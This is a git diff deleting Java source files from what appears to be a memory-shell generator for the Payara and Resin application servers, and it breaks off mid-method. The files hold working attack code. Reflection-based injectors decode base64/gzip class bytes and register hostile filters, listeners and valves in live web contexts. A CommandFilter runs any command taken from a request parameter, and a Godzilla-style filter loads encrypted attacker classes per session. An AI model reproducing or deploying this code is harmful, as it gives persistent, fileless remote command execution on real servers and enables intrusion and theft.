tempClass.getSuperclass(); - } - } - if (method == null) { - throw new NoSuchMethodException(methodName); - } - method.setAccessible(true); - if (obj instanceof Class) { - try { - return method.invoke(null, param); - } catch (IllegalAccessException e) { - throw new RuntimeException(e.getMessage()); - } - } else { - try { - return method.invoke(obj, param); - } catch (IllegalAccessException e) { - throw new RuntimeException(e.getMessage()); - } - } - } - - public String getUrlPattern() { - return "{{urlPattern}}"; - } - - public String getClassName() { - return "{{className}}"; - } - - public String getBase64String() throws IOException { - return "{{base64Str}}"; - } - - public List getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException { - List contexts = new ArrayList(); - Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads"); - try { - for (Thread thread : threads) { - if (thread.getName().contains("ContainerBackgroundProcessor")) { - Object context = getFV(getFV(thread, "target"), "this$0"); - if (context != null && "com.sun.enterprise.web.WebModule".equals(context.getClass().getName())) { - contexts.add(context); - } - } - } - } catch (Exception e) { - e.printStackTrace(); - } - return contexts; - } - - private Object getFilter(Object context) throws Exception { - Object filter = null; - ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); - if (classLoader == null) { - classLoader = context.getClass().getClassLoader(); - } - try { - filter = classLoader.loadClass(getClassName()).newInstance(); - } catch (Exception e) { - try { - byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); - Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); - defineClass.setAccessible(true); - Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); - filter = clazz.newInstance(); - } catch (Exception ignored) { - } - - } - return filter; - } - - public void addFilter(Object context, Object filter) throws Exception { - String filterName = getClassName(); - // 防止重复注入 - try { - if (invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{filterName}) != null) { - log.warning("filter already exists"); - return; - } - } catch (Exception ignored) { - } - try { - Object filterDef = Class.forName("org.apache.catalina.deploy.FilterDef").newInstance(); - Object filterMap = Class.forName("org.apache.catalina.deploy.FilterMap").newInstance(); - invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterName}); - invokeMethod(filterDef, "setFilterClass", new Class[]{Class.class}, new Object[]{filter.getClass()}); - invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef}); - invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{filterName}); - invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()}); - invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass(), boolean.class}, new Object[]{filterMap, false}); - try { - invokeMethod(context, "addFilterMapBefore", new Class[]{filterMap.getClass()}, new Object[]{filterMap}); - } catch (Exception e) { - invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass()}, new Object[]{filterMap}); - } - Constructor[] constructors = Class.forName("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors(); - constructors[0].setAccessible(true); - Object filterConfig = constructors[0].newInstance(context, filterDef); - HashMap filterConfigs = (HashMap) getFV(context, "filterConfigs"); - filterConfigs.put(filterName, filterConfig); - log.info("filter added successfully"); - } catch (Exception e) { - e.printStackTrace(); - } - } -} diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/payara/injector/PayaraListenerInjector.java b/generator/src/main/java/com/reajason/javaweb/memsell/payara/injector/PayaraListenerInjector.java deleted file mode 100644 index 4337f6d2..00000000 --- a/generator/src/main/java/com/reajason/javaweb/memsell/payara/injector/PayaraListenerInjector.java +++ /dev/null @@ -1,198 +0,0 @@ -package com.reajason.javaweb.memsell.payara.injector; - -import java.io.ByteArrayInputStream; -import java.io.ByteArrayOutputStream; -import java.io.IOException; -import java.lang.reflect.Field; -import java.lang.reflect.InvocationTargetException; -import java.lang.reflect.Method; -import java.util.ArrayList; -import java.util.EventListener; -import java.util.List; -import java.util.logging.Logger; -import java.util.zip.GZIPInputStream; - - -/** - * @author ReaJason - */ -public class PayaraListenerInjector { - static { - new PayaraListenerInjector(); - } - - Logger log = Logger.getLogger(PayaraListenerInjector.class.getName()); - - public PayaraListenerInjector() { - try { - List contexts = getContext(); - for (Object context : contexts) { - Object listener = getListener(context); - addListener(context, listener); - } - } catch (Exception ignored) { - - } - - } - - static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException { - Class decoderClass; - try { - decoderClass = Class.forName("sun.misc.BASE64Decoder"); - return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); - } catch (Exception ignored) { - decoderClass = Class.forName("java.util.Base64"); - Object decoder = decoderClass.getMethod("getDecoder").invoke(null); - return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); - } - } - - public static byte[] gzipDecompress(byte[] compressedData) throws IOException { - ByteArrayOutputStream out = new ByteArrayOutputStream(); - ByteArrayInputStream in = new ByteArrayInputStream(compressedData); - GZIPInputStream ungzip = new GZIPInputStream(in); - byte[] buffer = new byte[256]; - int n; - while ((n = ungzip.read(buffer)) >= 0) { - out.write(buffer, 0, n); - } - return out.toByteArray(); - } - - static Object getFV(Object obj, String fieldName) throws Exception { - Field field = getF(obj, fieldName); - field.setAccessible(true); - return field.get(obj); - } - - static Field getF(Object obj, String fieldName) throws NoSuchFieldException { - Class clazz = obj.getClass(); - while (clazz != null) { - try { - Field field = clazz.getDeclaredField(fieldName); - field.setAccessible(true); - return field; - } catch (NoSuchFieldException e) { - clazz = clazz.getSuperclass(); - } - } - throw new NoSuchFieldException(fieldName); - } - - static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException { - return invokeMethod(targetObject, methodName, new Class[0], new Object[0]); - } - - public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { - Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); - Method method = null; - - Class tempClass = clazz; - while (method == null && tempClass != null) { - try { - if (paramClazz == null) { - // Get all declared methods of the class - Method[] methods = tempClass.getDeclaredMethods(); - for (int i = 0; i < methods.length; i++) { - if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) { - method = methods[i]; - break; - } - } - } else { - method = tempClass.getDeclaredMethod(methodName, paramClazz); - } - } catch (NoSuchMethodException e) { - tempClass = tempClass.getSuperclass(); - } - } - if (method == null) { - throw new NoSuchMethodException(methodName); - } - method.setAccessible(true); - if (obj instanceof Class) { - try { - return method.invoke(null, param); - } catch (IllegalAccessException e) { - throw new RuntimeException(e.getMessage()); - } - } else { - try { - return method.invoke(obj, param); - } catch (IllegalAccessException e) { - throw new RuntimeException(e.getMessage()); - } - } - } - - public String getClassName() { - return "{{className}}"; - } - - public String getBase64String() throws IOException { - return "{{base64Str}}"; - } - - public List getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException { - List contexts = new ArrayList(); - Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads"); - try { - for (Thread thread : threads) { - if (thread.getName().contains("ContainerBackgroundProcessor")) { - Object context = getFV(getFV(thread, "target"), "this$0"); - if (context != null && "com.sun.enterprise.web.WebModule".equals(context.getClass().getName())) { - contexts.add(context); - } - } - } - } catch (Exception e) { - e.printStackTrace(); - } - return contexts; - } - - private Object getListener(Object context) throws Exception { - Object listener = null; - ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); - if (classLoader == null) { - classLoader = context.getClass().getClassLoader(); - } - - try { - listener = classLoader.loadClass(getClassName()).newInstance(); - } catch (Exception e) { - try { - byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); - Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); - defineClass.setAccessible(true); - Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); - listener = clazz.newInstance(); - } catch (Exception ignored) { - } - - } - return listener; - } - - public void addListener(Object context, Object listener) throws Exception { - try { - List eventListeners = (List) invokeMethod(context, "getApplicationEventListeners"); - boolean isExist = false; - for (EventListener eventListener : eventListeners) { - if (eventListener.getClass().getName().equals(listener.getClass().getName())) { - isExist = true; - break; - } - } - if (!isExist) { - log.info("listener added successfully"); - eventListeners.add((EventListener) listener); - } else { - log.warning("listener already exists"); - } - } catch (Exception e) { - e.printStackTrace(); - } - } -} diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/payara/injector/PayaraValveInjector.java b/generator/src/main/java/com/reajason/javaweb/memsell/payara/injector/PayaraValveInjector.java deleted file mode 100644 index 55f5798c..00000000 --- a/generator/src/main/java/com/reajason/javaweb/memsell/payara/injector/PayaraValveInjector.java +++ /dev/null @@ -1,221 +0,0 @@ -package com.reajason.javaweb.memsell.payara.injector; - -import java.io.ByteArrayInputStream; -import java.io.ByteArrayOutputStream; -import java.io.IOException; -import java.lang.reflect.Field; -import java.lang.reflect.InvocationTargetException; -import java.lang.reflect.Method; -import java.util.ArrayList; -import java.util.Arrays; -import java.util.List; -import java.util.zip.GZIPInputStream; - -/** - * @author ReaJason - */ -public class PayaraValveInjector { - - static { - new PayaraValveInjector(); - } - - public PayaraValveInjector() { - try { - List contexts = getContext(); - for (Object context : contexts) { - Object valve = getValve(context); - if (valve == null) { - continue; - } - injectValve(context, valve); - } - } catch (Exception e) { - e.printStackTrace(); - } - } - - @SuppressWarnings("all") - static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException { - Class decoderClass; - try { - decoderClass = Class.forName("sun.misc.BASE64Decoder"); - return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); - } catch (Exception ignored) { - decoderClass = Class.forName("java.util.Base64"); - Object decoder = decoderClass.getMethod("getDecoder").invoke(null); - return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); - } - } - - @SuppressWarnings("all") - public static byte[] gzipDecompress(byte[] compressedData) throws IOException { - ByteArrayOutputStream out = new ByteArrayOutputStream(); - ByteArrayInputStream in = new ByteArrayInputStream(compressedData); - GZIPInputStream ungzip = new GZIPInputStream(in); - byte[] buffer = new byte[256]; - int n; - while ((n = ungzip.read(buffer)) >= 0) { - out.write(buffer, 0, n); - } - return out.toByteArray(); - } - - @SuppressWarnings("all") - private static synchronized Object getFV(Object var0, String var1) throws Exception { - Field var2 = null; - Class var3 = var0.getClass(); - - while (var3 != Object.class) { - try { - var2 = var3.getDeclaredField(var1); - break; - } catch (NoSuchFieldException var5) { - var3 = var3.getSuperclass(); - } - } - - if (var2 == null) { - throw new NoSuchFieldException(var1); - } else { - var2.setAccessible(true); - return var2.get(var0); - } - } - - private static synchronized Object invokeMethod(final Object obj, final String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException { - return invokeMethod(obj, methodName, new Class[0], new Object[0]); - } - - @SuppressWarnings("all") - public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { - Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); - Method method = null; - - Class tempClass = clazz; - while (method == null && tempClass != null) { - try { - if (paramClazz == null) { - // Get all declared methods of the class - Method[] methods = tempClass.getDeclaredMethods(); - for (int i = 0; i < methods.length; i++) { - if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) { - method = methods[i]; - break; - } - } - } else { - method = tempClass.getDeclaredMethod(methodName, paramClazz); - } - } catch (NoSuchMethodException e) { - tempClass = tempClass.getSuperclass(); - } - } - if (method == null) { - throw new NoSuchMethodException(methodName); - } - method.setAccessible(true); - if (obj instanceof Class) { - try { - return method.invoke(null, param); - } catch (IllegalAccessException e) { - throw new RuntimeException(e.getMessage()); - } - } else { - try { - return method.invoke(obj, param); - } catch (IllegalAccessException e) { - throw new RuntimeException(e.getMessage()); - } - } - } - - public String getClassName() { - return "{{className}}"; - } - - public String getBase64String() { - return "{{base64Str}}"; - } - - public List getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException { - List contexts = new ArrayList(); - Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads"); - try { - for (Thread thread : threads) { - if (thread.getName().contains("ContainerBackgroundProcessor")) { - Object context = getFV(getFV(thread, "target"), "this$0"); - if (context != null) { - contexts.add(context); - } - } - } - } catch (Exception e) { - e.printStackTrace(); - } - return contexts; - } - - @SuppressWarnings("all") - private Object getValve(Object context) { - Object valve = null; - ClassLoader classLoader = context.getClass().getClassLoader(); - try { - valve = classLoader.loadClass(getClassName()).newInstance(); - } catch (Exception e) { - try { - byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); - Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); - defineClass.setAccessible(true); - Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); - valve = clazz.newInstance(); - } catch (Exception e2) { - e2.printStackTrace(); - } - } - return valve; - } - - @SuppressWarnings("all") - public boolean isInjected(Object context, String valveClassName) throws Exception { - Object obj = invokeMethod(context, "getPipeline"); - Object[] valves = (Object[]) invokeMethod(obj, "getValves"); - List valvesList = Arrays.asList(valves); - for (Object valve : valvesList) { - if (valve.getClass().getName().contains(valveClassName)) { - return true; - } - } - return false; - } - - @SuppressWarnings("all") - public void injectValve(Object context, Object valve) throws Exception { - if (isInjected(context, valve.getClass().getName())) { - System.out.println("valve already injected"); - return; - } - try { - Class valveClass; - String valveClassName = "org.apache.catalina.Valve"; - valveClass = context.getClass().getClassLoader().loadClass(valveClassName); - Object obj = invokeMethod(context, "getPipeline"); - invokeMethod(obj, "addValve", new Class[]{valveClass}, new Object[]{valve}); - } catch (Exception e) { - e.printStackTrace(); - } - } - - public ClassLoader getCatalinaLoader() throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { - Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads"); - ClassLoader catalinaLoader = null; - for (Thread thread : threads) { - // 适配 v5 的 Class Loader 问题 - if (thread.getName().contains("ContainerBackgroundProcessor")) { - catalinaLoader = thread.getContextClassLoader(); - break; - } - } - return catalinaLoader; - } -} \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/resin/command/CommandFilter.java b/generator/src/main/java/com/reajason/javaweb/memsell/resin/command/CommandFilter.java deleted file mode 100644 index 3b7871ad..00000000 --- a/generator/src/main/java/com/reajason/javaweb/memsell/resin/command/CommandFilter.java +++ /dev/null @@ -1,48 +0,0 @@ -package com.reajason.javaweb.memsell.resin.command; - -import javax.servlet.*; -import javax.servlet.http.HttpServletRequest; -import javax.servlet.http.HttpServletResponse; -import java.io.IOException; -import java.io.InputStream; - -/** - * @author ReaJason - * @since 2024/11/24 - */ -public class CommandFilter implements Filter { - public String paramName = "{{paramName}}"; - - @Override - public void init(FilterConfig filterConfig) throws ServletException { - - } - - @Override - public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { - HttpServletRequest servletRequest = (HttpServletRequest) request; - HttpServletResponse servletResponse = (HttpServletResponse) response; - String cmd = servletRequest.getParameter(paramName); - try { - if (cmd != null) { - Process exec = Runtime.getRuntime().exec(cmd); - InputStream inputStream = exec.getInputStream(); - ServletOutputStream outputStream = servletResponse.getOutputStream(); - byte[] buf = new byte[8192]; - int length; - while ((length = inputStream.read(buf)) != -1) { - outputStream.write(buf, 0, length); - } - } else { - chain.doFilter(servletRequest, servletResponse); - } - } catch (Exception e) { - chain.doFilter(servletRequest, servletResponse); - } - } - - @Override - public void destroy() { - - } -} \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/resin/godzilla/GodzillaFilter.java b/generator/src/main/java/com/reajason/javaweb/memsell/resin/godzilla/GodzillaFilter.java deleted file mode 100644 index 38882096..00000000 --- a/generator/src/main/java/com/reajason/javaweb/memsell/resin/godzilla/GodzillaFilter.java +++ /dev/null @@ -1,127 +0,0 @@ -package com.reajason.javaweb.memsell.resin.godzilla; - -import javax.crypto.Cipher; -import javax.crypto.spec.SecretKeySpec; -import javax.servlet.*; -import javax.servlet.http.HttpServletRequest; -import javax.servlet.http.HttpServletResponse; -import javax.servlet.http.HttpSession; -import java.io.ByteArrayOutputStream; -import java.io.IOException; - -/** - * @author ReaJason - */ -public class GodzillaFilter extends ClassLoader implements Filter { - public String key = "{{key}}"; - public String pass = "{{pass}}"; - public String md5 = "{{md5}}"; - public String headerName = "{{headerName}}"; - public String headerValue = "{{headerValue}}"; - - public GodzillaFilter() { - } - - public GodzillaFilter(ClassLoader z) { - super(z); - } - - @SuppressWarnings("all") - public static String base64Encode(byte[] bs) throws Exception { - String value = null; - Class base64; - try { - base64 = Class.forName("java.util.Base64"); - Object encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null); - value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs); - } catch (Exception var6) { - try { - base64 = Class.forName("sun.misc.BASE64Encoder"); - Object encoder = base64.newInstance(); - value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs); - } catch (Exception ignored) { - } - } - return value; - } - - @SuppressWarnings("all") - public static byte[] base64Decode(String bs) { - byte[] value = null; - Class base64; - try { - base64 = Class.forName("java.util.Base64"); - Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); - value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); - } catch (Exception var6) { - try { - base64 = Class.forName("sun.misc.BASE64Decoder"); - Object decoder = base64.newInstance(); - value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); - } catch (Exception ignored) { - } - } - return value; - } - - @SuppressWarnings("all") - public Class Q(byte[] cb) { - return super.defineClass(cb, 0, cb.length); - } - - public byte[] x(byte[] s, boolean m) { - try { - - Cipher c = Cipher.getInstance("AES"); - c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES")); - return c.doFinal(s); - } catch (Exception var4) { - return null; - } - } - - @Override - @SuppressWarnings("all") - public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain chain) throws ServletException, IOException { - HttpServletRequest request = (HttpServletRequest) servletRequest; - HttpServletResponse response = (HttpServletResponse) servletResponse; - try { - if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) { - HttpSession session = request.getSession(); - byte[] data = base64Decode(request.getParameter(pass)); - data = this.x(data, false); - if (session.getAttribute("payload") == null) { - session.setAttribute("payload", (new GodzillaFilter(this.getClass().getClassLoader())).Q(data)); - } else { - request.setAttribute("parameters", data); - ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); - Object f; - try { - f = ((Class) session.getAttribute("payload")).newInstance(); - } catch (InstantiationException | IllegalAccessException e) { - throw new RuntimeException(e); - } - f.equals(arrOut); - f.equals(request); - response.getWriter().write(md5.substring(0, 16)); - f.toString(); - response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true))); - response.getWriter().write(md5.substring(16)); - } - - } else { - chain.doFilter(servletRequest, servletResponse); - } - } catch (Exception e) { - chain.doFilter(servletRequest, servletResponse); - } - } - - @Override - public void init(FilterConfig filterConfig) throws ServletException { - } - - @Override - public void destroy() { - } -} diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/resin/injector/ResinFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memsell/resin/injector/ResinFilterInjector.java deleted file mode 100644 index 9ac3aaab..00000000 --- a/generator/src/main/java/com/reajason/javaweb/memsell/resin/injector/ResinFilterInjector.java +++ /dev/null @@ -1,220 +0,0 @@ -package com.reajason.javaweb.memsell.resin.injector; - -import java.io.ByteArrayInputStream; -import java.io.ByteArrayOutputStream; -import java.io.IOException; -import java.lang.reflect.Field; -import java.lang.reflect.InvocationTargetException; -import java.lang.reflect.Method; -import java.util.*; -import java.util.zip.GZIPInputStream; - -/** - * @author ReaJason - */ -public class ResinFilterInjector { - - static { - new ResinFilterInjector(); - } - - public ResinFilterInjector() { - try { - List contexts = getContext(); - for (Object context : contexts) { - Object filter = getFilter(context); - addFilter(context, filter); - } - } catch (Exception e) { - e.printStackTrace(); - } - - } - - static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException { - Class decoderClass; - try { - decoderClass = Class.forName("sun.misc.BASE64Decoder"); - return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); - } catch (Exception ignored) { - decoderClass = Class.forName("java.util.Base64"); - Object decoder = decoderClass.getMethod("getDecoder").invoke(null); - return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); - } - } - - public static byte[] gzipDecompress(byte[] compressedData) throws IOException { - ByteArrayOutputStream out = new ByteArrayOutputStream(); - ByteArrayInputStream in = new ByteArrayInputStream(compressedData); - GZIPInputStream ungzip = new GZIPInputStream(in); - byte[] buffer = new byte[256]; - int n; - while ((n = ungzip.read(buffer)) >= 0) { - out.write(buffer, 0, n); - } - return out.toByteArray(); - } - - static Object getFV(Object obj, String fieldName) throws Exception { - Field field = getF(obj, fieldName); - field.setAccessible(true); - return field.get(obj); - } - - static Field getF(Object obj, String fieldName) throws NoSuchFieldException { - Class clazz = obj.getClass(); - while (clazz != null) { - try { - Field field = clazz.getDeclaredField(fieldName); - field.setAccessible(true); - return field; - } catch (NoSuchFieldException e) { - clazz = clazz.getSuperclass(); - } - } - throw new NoSuchFieldException(fieldName); - } - - static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException { - return invokeMethod(targetObject, methodName, new Class[0], new Object[0]); - } - - public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { - Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); - Method method = null; - - Class tempClass = clazz; - while (method == null && tempClass != null) { - try { - if (paramClazz == null) { - // Get all declared methods of the class - Method[] methods = tempClass.getDeclaredMethods(); - for (int i = 0; i < methods.length; i++) { - if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) { - method = methods[i]; - break; - } - } - } else { - method = tempClass.getDeclaredMethod(methodName, paramClazz); - } - } catch (NoSuchMethodException e) { - tempClass = tempClass.getSuperclass(); - } - } - if (method == null) { - throw new NoSuchMethodException(methodName); - } - method.setAccessible(true); - if (obj instanceof Class) { - try { - return method.invoke(null, param); - } catch (IllegalAccessException e) { - throw new RuntimeException(e.getMessage()); - } - } else { - try { - return method.invoke(obj, param); - } catch (IllegalAccessException e) { - throw new RuntimeException(e.getMessage()); - } - } - } - - public String getUrlPattern() { - return "{{urlPattern}}"; - } - - public String getClassName() { - return "{{className}}"; - } - - public String getBase64String() throws IOException { - return "{{base64Str}}"; - } - - private void addFilter(Object context, Object filter) throws Exception { - String filterClassName = filter.getClass().getName(); - if (isInjected(context, filterClassName)) { - System.out.println("filter already injected"); - return; - } - try { - Class filterMappingClass; - try { - filterMappingClass = Thread.currentThread().getContextClassLoader().loadClass("com.caucho.server.dispatch.FilterMapping"); - } catch (Exception e) { - filterMappingClass = context.getClass().getClassLoader().loadClass("com.caucho.server.dispatch.FilterMapping"); - } - Object filterMappingImpl = filterMappingClass.newInstance(); - invokeMethod(filterMappingImpl, "setFilterName", new Class[]{String.class}, new Object[]{filterClassName}); - invokeMethod(filterMappingImpl, "setFilterClass", new Class[]{String.class}, new Object[]{filterClassName}); - Object urlPattern = invokeMethod(filterMappingImpl, "createUrlPattern"); - invokeMethod(urlPattern, "addText", new Class[]{String.class}, new Object[]{getUrlPattern()}); - invokeMethod(urlPattern, "init"); - invokeMethod(context, "addFilterMapping", new Class[]{filterMappingClass}, new Object[]{filterMappingImpl}); - invokeMethod(context, "clearCache"); - System.out.println("filter injected"); - } catch (Throwable e) { - System.out.println("filter inject failed"); - e.printStackTrace(); - } - } - - public List getContext() { - Set contexts = new HashSet(); - try { - Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", new Class[0], new Object[0]); - for (Thread thread : threads) { - Class servletInvocationClass = null; - try { - servletInvocationClass = thread.getContextClassLoader().loadClass("com.caucho.server.dispatch.ServletInvocation"); - } catch (Exception e) { - continue; - } - if (servletInvocationClass != null) { - Object contextRequest = servletInvocationClass.getMethod("getContextRequest").invoke(null); - Object webApp = invokeMethod(contextRequest, "getWebApp", new Class[0], new Object[0]); - if (webApp != null) { - contexts.add(webApp); - } - } - } - } catch (Exception e) { - e.printStackTrace(); - } - return Arrays.asList(contexts.toArray()); - } - - private Object getFilter(Object context) { - Object filter = null; - ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); - if (classLoader == null) { - classLoader = context.getClass().getClassLoader(); - } - try { - filter = classLoader.loadClass(getClassName()).newInstance(); - } catch (Exception e) { - try { - byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); - Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); - defineClass.setAccessible(true); - Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); - filter = clazz.newInstance(); - } catch (Throwable tt) { - } - } - return filter; - } - - public boolean isInjected(Object context, String evilClassName) throws Exception { - Map filters = (Map) getFV(getFV(context, "_filterManager"), "_filters"); - for (String key : filters.keySet()) { - if (key.contains(evilClassName)) { - return true; - } - } - return false; - } - -} \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/resin/injector/ResinListenerInjector.java b/generator/src/main/java/com/reajason/javaweb/memsell/resin/injector/ResinListenerInjector.java deleted file mode 100644 index 49c37de6..00000000 --- a/generator/src/main/java/com/reajason/javaweb/memsell/resin/injector/ResinListenerInjector.java +++ /dev/null @@ -1,194 +0,0 @@ -package com.reajason.javaweb.memsell.resin.injector; - -import java.io.ByteArrayInputStream; -import java.io.ByteArrayOutputStream; -import java.io.IOException; -import java.lang.reflect.Field; -import java.lang.reflect.InvocationTargetException; -import java.lang.reflect.Method; -import java.util.*; -import java.util.zip.GZIPInputStream; - -/** - * @author ReaJason - */ -public class ResinListenerInjector { - static { - new ResinListenerInjector(); - } - - public ResinListenerInjector() { - try { - List contexts = getContext(); - for (Object context : contexts) { - Object listener = getListener(context); - injectListener(context, listener); - } - } catch (Exception e) { - e.printStackTrace(); - } - - } - - static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException { - Class decoderClass; - try { - decoderClass = Class.forName("sun.misc.BASE64Decoder"); - return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); - } catch (Exception ignored) { - decoderClass = Class.forName("java.util.Base64"); - Object decoder = decoderClass.getMethod("getDecoder").invoke(null); - return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); - } - } - - public static byte[] gzipDecompress(byte[] compressedData) throws IOException { - ByteArrayOutputStream out = new ByteArrayOutputStream(); - ByteArrayInputStream in = new ByteArrayInputStream(compressedData); - GZIPInputStream ungzip = new GZIPInputStream(in); - byte[] buffer = new byte[256]; - int n; - while ((n = ungzip.read(buffer)) >= 0) { - out.write(buffer, 0, n); - } - return out.toByteArray(); - } - - static Object getFV(Object obj, String fieldName) throws Exception { - Field field = getF(obj, fieldName); - field.setAccessible(true); - return field.get(obj); - } - - static Field getF(Object obj, String fieldName) throws NoSuchFieldException { - Class clazz = obj.getClass(); - while (clazz != null) { - try { - Field field = clazz.getDeclaredField(fieldName); - field.setAccessible(true); - return field; - } catch (NoSuchFieldException e) { - clazz = clazz.getSuperclass(); - } - } - throw new NoSuchFieldException(fieldName); - } - - static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException { - return invokeMethod(targetObject, methodName, new Class[0], new Object[0]); - } - - public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { - Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); - Method method = null; - - Class tempClass = clazz; - while (method == null && tempClass != null) { - try { - if (paramClazz == null) { - // Get all declared methods of the class - Method[] methods = tempClass.getDeclaredMethods(); - for (int i = 0; i < methods.length; i++) { - if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) { - method = methods[i]; - break; - } - } - } else { - method = tempClass.getDeclaredMethod(methodName, paramClazz); - } - } catch (NoSuchMethodException e) { - tempClass = tempClass.getSuperclass(); - } - } - if (method == null) { - throw new NoSuchMethodException(methodName); - } - method.setAccessible(true); - if (obj instanceof Class) { - try { - return method.invoke(null, param); - } catch (IllegalAccessException e) { - throw new RuntimeException(e.getMessage()); - } - } else { - try { - return method.invoke(obj, param); - } catch (IllegalAccessException e) { - throw new RuntimeException(e.getMessage()); - } - } - } - - public String getClassName() { - return "{{className}}"; - } - - public String getBase64String() throws IOException { - return "{{base64Str}}"; - } - - private void injectListener(Object context, Object listener) throws Exception { - if (!isInjected(context, listener.getClass().getName())) { - invokeMethod(context, "addListenerObject", new Class[]{Object.class, boolean.class}, new Object[]{listener, true}); - // 清除缓存,否则某些 uri 无法连接 - invokeMethod(context, "clearCache"); - } - } - - public List getContext() { - Set contexts = new HashSet(); - try { - Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", new Class[0], new Object[0]); - for (Thread thread : threads) { - Class servletInvocationClass = null; - try { - servletInvocationClass = thread.getContextClassLoader().loadClass("com.caucho.server.dispatch.ServletInvocation"); - } catch (Exception e) { - continue; - } - if (servletInvocationClass != null) { - Object contextRequest = 